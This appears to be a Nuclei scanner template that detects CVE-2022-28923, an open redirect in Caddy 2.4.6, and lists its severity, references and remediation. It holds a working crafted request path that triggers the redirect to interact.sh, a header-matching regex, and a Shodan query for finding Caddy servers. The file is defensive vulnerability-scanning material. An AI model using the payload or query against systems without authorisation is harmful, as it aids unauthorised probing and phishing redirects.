44 lines
1.6 KiB
YAML
44 lines
1.6 KiB
YAML
id: CVE-2022-28923
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info:
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name: Caddy 2.4.6 - Open Redirect
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author: Sascha Brendel,DhiyaneshDk
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severity: medium
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description: |
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Caddy 2.4.6 contains an open redirect vulnerability. An attacker can redirect a user to a malicious site via a crafted URL and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
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remediation: |
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Upgrade Caddy to version 2.4.7 or later to mitigate the vulnerability.
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reference:
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- https://lednerb.de/en/publications/responsible-disclosure/caddy-open-redirect-vulnerability/
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- https://www.cve.org/CVERecord?id=CVE-2022-28923
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- https://github.com/caddyserver/caddy/issues/4502
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- https://nvd.nist.gov/vuln/detail/CVE-2022-28923
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2022-28923
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cwe-id: CWE-601
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epss-score: 0.00514
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epss-percentile: 0.74091
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cpe: cpe:2.3:a:caddyserver:caddy:2.4.6:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 1
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vendor: caddyserver
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product: caddy
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shodan-query: 'Server: caddy'
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tags: cve,cve2022,redirect,caddy,webserver
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http:
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- method: GET
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path:
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- '{{BaseURL}}/%5C%5Cinteract.sh/%252e%252e%252f'
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matchers:
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- type: regex
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part: header
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regex:
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- '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1
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# digest: 490a0046304402201064e4a2756098bbc82289bbc496d020a6e52989d002437725ab4ab5de1ab811022063ff6adf67874f9db080b41728769897779c6557ada0cd32ff6da41e0c1369cf:922c64590222798bb761d5b6d8e72950
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